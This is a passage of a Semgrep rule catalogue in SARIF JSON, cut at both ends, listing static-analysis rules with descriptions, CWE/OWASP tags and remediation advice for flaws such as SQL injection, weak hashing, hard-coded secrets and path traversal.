[https://docs.python.org/3/library/ssl.html#ssl-security](https://docs.python.org/3/library/ssl.html#ssl-security)\n - [https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection](https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection)\n","text":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.unverified-ssl-context.unverified-ssl-context","id":"python.lang.security.unverified-ssl-context.unverified-ssl-context","name":"python.lang.security.unverified-ssl-context.unverified-ssl-context","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.unverified-ssl-context.unverified-ssl-context"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.sql.postgres-taint.postgres-taint)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.actix.sql.postgres-taint.postgres-taint","id":"rust.actix.sql.postgres-taint.postgres-taint","name":"rust.actix.sql.postgres-taint.postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.sql.postgres-taint.postgres-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The call to 'createDecipheriv' with the Galois Counter Mode (GCM) mode of operation is missing an expected authentication tag length. If the expected authentication tag length is not specified or otherwise checked, the application might be tricked into verifying a shorter-than-expected authentication tag. This can be abused by an attacker to spoof ciphertexts or recover the implicit authentication key of GCM, allowing arbitrary forgeries."},"help":{"markdown":"The call to 'createDecipheriv' with the Galois Counter Mode (GCM) mode of operation is missing an expected authentication tag length. If the expected authentication tag length is not specified or otherwise checked, the application might be tricked into verifying a shorter-than-expected authentication tag. This can be abused by an attacker to spoof ciphertexts or recover the implicit authentication key of GCM, allowing arbitrary forgeries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.node-crypto.security.gcm-no-tag-length.gcm-no-tag-length)\n - [https://www.securesystems.de/blog/forging_ciphertexts_under_Galois_Counter_Mode_for_the_Node_js_crypto_module/](https://www.securesystems.de/blog/forging_ciphertexts_under_Galois_Counter_Mode_for_the_Node_js_crypto_module/)\n - [https://nodejs.org/api/crypto.html#cryptocreatedecipherivalgorithm-key-iv-options](https://nodejs.org/api/crypto.html#cryptocreatedecipherivalgorithm-key-iv-options)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures/](https://owasp.org/Top10/A02_2021-Cryptographic_Failures/)\n","text":"The call to 'createDecipheriv' with the Galois Counter Mode (GCM) mode of operation is missing an expected authentication tag length. If the expected authentication tag length is not specified or otherwise checked, the application might be tricked into verifying a shorter-than-expected authentication tag. This can be abused by an attacker to spoof ciphertexts or recover the implicit authentication key of GCM, allowing arbitrary forgeries."},"helpUri":"https://semgrep.dev/r/javascript.node-crypto.security.gcm-no-tag-length.gcm-no-tag-length","id":"javascript.node-crypto.security.gcm-no-tag-length.gcm-no-tag-length","name":"javascript.node-crypto.security.gcm-no-tag-length.gcm-no-tag-length","properties":{"precision":"very-high","tags":["CWE-310: CWE CATEGORY: Cryptographic Issues","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.node-crypto.security.gcm-no-tag-length.gcm-no-tag-length"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils","id":"java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils","name":"java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.gorm.gorm-hardcoded-secret.gorm-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.gorm.gorm-hardcoded-secret.gorm-hardcoded-secret","id":"go.secrets.gorm.gorm-hardcoded-secret.gorm-hardcoded-secret","name":"go.secrets.gorm.gorm-hardcoded-secret.gorm-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.gorm.gorm-hardcoded-secret.gorm-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"$POOL.get_virtual_price() call on a Curve pool is not protected from the read-only reentrancy."},"help":{"markdown":"$POOL.get_virtual_price() call on a Curve pool is not protected from the read-only reentrancy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.curve-readonly-reentrancy.curve-readonly-reentrancy)\n - [https://chainsecurity.com/heartbreaks-curve-lp-oracles/](https://chainsecurity.com/heartbreaks-curve-lp-oracles/)\n - [https://chainsecurity.com/curve-lp-oracle-manipulation-post-mortem/](https://chainsecurity.com/curve-lp-oracle-manipulation-post-mortem/)\n","text":"$POOL.get_virtual_price() call on a Curve pool is not protected from the read-only reentrancy."},"helpUri":"https://semgrep.dev/r/solidity.security.curve-readonly-reentrancy.curve-readonly-reentrancy","id":"solidity.security.curve-readonly-reentrancy.curve-readonly-reentrancy","name":"solidity.security.curve-readonly-reentrancy.curve-readonly-reentrancy","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.curve-readonly-reentrancy.curve-readonly-reentrancy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If an attacker can supply values that the application then uses to determine which class to instantiate or which method to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner."},"help":{"markdown":"If an attacker can supply values that the application then uses to determine which class to instantiate or which method to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.unsafe-reflection.unsafe-reflection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"If an attacker can supply values that the application then uses to determine which class to instantiate or which method to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.unsafe-reflection.unsafe-reflection","id":"java.lang.security.audit.unsafe-reflection.unsafe-reflection","name":"java.lang.security.audit.unsafe-reflection.unsafe-reflection","properties":{"precision":"very-high","tags":["CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.unsafe-reflection.unsafe-reflection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"$sceDelegateProvider allowlisting can introduce security issues if wildcards are used."},"help":{"markdown":"$sceDelegateProvider allowlisting can introduce security issues if wildcards are used.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-resource-loading.detect-angular-resource-loading)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsJs](https://docs.angularjs.org/api/ng/service/$sce#trustAsJs)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"$sceDelegateProvider allowlisting can introduce security issues if wildcards are used."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-resource-loading.detect-angular-resource-loading","id":"javascript.angular.security.detect-angular-resource-loading.detect-angular-resource-loading","name":"javascript.angular.security.detect-angular-resource-loading.detect-angular-resource-loading","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-resource-loading.detect-angular-resource-loading"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Possible path traversal through `tarfile.open($PATH).extractall()` if the source tar is controlled by an attacker"},"help":{"markdown":"Possible path traversal through `tarfile.open($PATH).extractall()` if the source tar is controlled by an attacker\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.tarfile-extractall-traversal.tarfile-extractall-traversal)\n - [https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall](https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall)\n","text":"Possible path traversal through `tarfile.open($PATH).extractall()` if the source tar is controlled by an attacker"},"helpUri":"https://semgrep.dev/r/trailofbits.python.tarfile-extractall-traversal.tarfile-extractall-traversal","id":"trailofbits.python.tarfile-extractall-traversal.tarfile-extractall-traversal","name":"trailofbits.python.tarfile-extractall-traversal.tarfile-extractall-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.tarfile-extractall-traversal.tarfile-extractall-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure EFS filesystem is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure EFS filesystem is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-efs-filesystem-encrypted-with-cmk.aws-efs-filesystem-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure EFS filesystem is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-efs-filesystem-encrypted-with-cmk.aws-efs-filesystem-encrypted-with-cmk","id":"terraform.aws.security.aws-efs-filesystem-encrypted-with-cmk.aws-efs-filesystem-encrypted-with-cmk","name":"terraform.aws.security.aws-efs-filesystem-encrypted-with-cmk.aws-efs-filesystem-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-efs-filesystem-encrypted-with-cmk.aws-efs-filesystem-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $translateProvider.translations method can be dangerous if user input is provided to this API."},"help":{"markdown":"The use of $translateProvider.translations method can be dangerous if user input is provided to this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-third-party-angular-translate.detect-angular-translateprovider-translations-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsUrl](https://docs.angularjs.org/api/ng/service/$sce#trustAsUrl)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $translateProvider.translations method can be dangerous if user input is provided to this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-third-party-angular-translate.detect-angular-translateprovider-translations-method","id":"javascript.angular.security.detect-third-party-angular-translate.detect-angular-translateprovider-translations-method","name":"javascript.angular.security.detect-third-party-angular-translate.detect-angular-translateprovider-translations-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-third-party-angular-translate.detect-angular-translateprovider-translations-method"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.postgres.hardcoded-password.hardcoded-password)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.postgres.hardcoded-password.hardcoded-password","id":"rust.secrets.postgres.hardcoded-password.hardcoded-password","name":"rust.secrets.postgres.hardcoded-password.hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.postgres.hardcoded-password.hardcoded-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as scrypt. You can use `hashlib.scrypt`."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as scrypt. You can use `hashlib.scrypt`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/html/rfc6151](https://tools.ietf.org/html/rfc6151)\n - [https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision](https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n - [https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords](https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://docs.python.org/3/library/hashlib.html#hashlib.scrypt](https://docs.python.org/3/library/hashlib.html#hashlib.scrypt)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as scrypt. You can use `hashlib.scrypt`."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.md5-used-as-password.md5-used-as-password","id":"python.lang.security.audit.md5-used-as-password.md5-used-as-password","name":"python.lang.security.audit.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`$mysqli->prepare(\"INSERT INTO test(id, label) VALUES (?, ?)\");`) or a safe library."},"help":{"markdown":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`$mysqli->prepare(\"INSERT INTO test(id, label) VALUES (?, ?)\");`) or a safe library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`$mysqli->prepare(\"INSERT INTO test(id, label) VALUES (?, ?)\");`) or a safe library."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-sql-string.tainted-sql-string","id":"php.lang.security.injection.tainted-sql-string.tainted-sql-string","name":"php.lang.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure IAM policies don't allow credentials exposure. Credentials exposure actions return credentials as part of the API response, and can possibly lead to leaking important credentials. Instead, use another action that doesn't return sensitive data as part of the API response."},"help":{"markdown":"Ensure IAM policies don't allow credentials exposure. Credentials exposure actions return credentials as part of the API response, and can possibly lead to leaking important credentials. Instead, use another action that doesn't return sensitive data as part of the API response.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-creds-exposure.no-iam-creds-exposure)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/credentials-exposure/](https://cloudsplaining.readthedocs.io/en/latest/glossary/credentials-exposure/)\n - [https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMCredentialsExposure.py)\n","text":"Ensure IAM policies don't allow credentials exposure. Credentials exposure actions return credentials as part of the API response, and can possibly lead to leaking important credentials. Instead, use another action that doesn't return sensitive data as part of the API response."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-creds-exposure.no-iam-creds-exposure","id":"terraform.lang.security.iam.no-iam-creds-exposure.no-iam-creds-exposure","name":"terraform.lang.security.iam.no-iam-creds-exposure.no-iam-creds-exposure","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-creds-exposure.no-iam-creds-exposure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-code-execution.tainted-code-execution)\n - [https://owasp.org/www-community/attacks/Code_Injection](https://owasp.org/www-community/attacks/Code_Injection)\n - [https://stackoverflow.com/questions/3115559/exploitable-php-functions](https://stackoverflow.com/questions/3115559/exploitable-php-functions)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-code-execution.tainted-code-execution","id":"php.lang.security.tainted-code-execution.tainted-code-execution","name":"php.lang.security.tainted-code-execution.tainted-code-execution","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-code-execution.tainted-code-execution"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via Java Spring RestTemplate API to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via Java Spring RestTemplate API to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.spring-http-request.spring-http-request)\n - [https://docs.spring.io/spring/docs/current/javadoc-api/org/springframework/web/client/RestTemplate.html#delete-java.lang.String-java.util.Map-](https://docs.spring.io/spring/docs/current/javadoc-api/org/springframework/web/client/RestTemplate.html#delete-java.lang.String-java.util.Map-)\n - [https://www.baeldung.com/rest-template](https://www.baeldung.com/rest-template)\n","text":"Checks for requests sent via Java Spring RestTemplate API to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.spring-http-request.spring-http-request","id":"problem-based-packs.insecure-transport.java-spring.spring-http-request.spring-http-request","name":"problem-based-packs.insecure-transport.java-spring.spring-http-request.spring-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-spring.spring-http-request.spring-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `sequelize.query('SELECT * FROM projects WHERE status = ?', { replacements: ['active'], type: QueryTypes.SELECT });`"},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `sequelize.query('SELECT * FROM projects WHERE status = ?', { replacements: ['active'], type: QueryTypes.SELECT });`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.sequelize-sqli.sequelize-sqli)\n - [https://sequelize.org/master/manual/raw-queries.html](https://sequelize.org/master/manual/raw-queries.html)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `sequelize.query('SELECT * FROM projects WHERE status = ?', { replacements: ['active'], type: QueryTypes.SELECT });`"},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.sequelize-sqli.sequelize-sqli","id":"javascript.aws-lambda.security.sequelize-sqli.sequelize-sqli","name":"javascript.aws-lambda.security.sequelize-sqli.sequelize-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.sequelize-sqli.sequelize-sqli"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a util.format / console.log function. If an attacker injects a format specifier in the string, it will forge the log message. Try to use constant values for the format string."},"help":{"markdown":"Detected string concatenation with a non-literal variable in a util.format / console.log function. If an attacker injects a format specifier in the string, it will forge the log message. Try to use constant values for the format string.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.unsafe-formatstring.unsafe-formatstring)\n - [https://cwe.mitre.org/data/definitions/134.html](https://cwe.mitre.org/data/definitions/134.html)\n","text":"Detected string concatenation with a non-literal variable in a util.format / console.log function. If an attacker injects a format specifier in the string, it will forge the log message. Try to use constant values for the format string."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.unsafe-formatstring.unsafe-formatstring","id":"javascript.lang.security.audit.unsafe-formatstring.unsafe-formatstring","name":"javascript.lang.security.audit.unsafe-formatstring.unsafe-formatstring","properties":{"precision":"very-high","tags":["CWE-134: Use of Externally-Controlled Format String","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.unsafe-formatstring.unsafe-formatstring"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"help":{"markdown":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.passlib.passlib-insecure-hash.passlib-insecure-hash)\n - 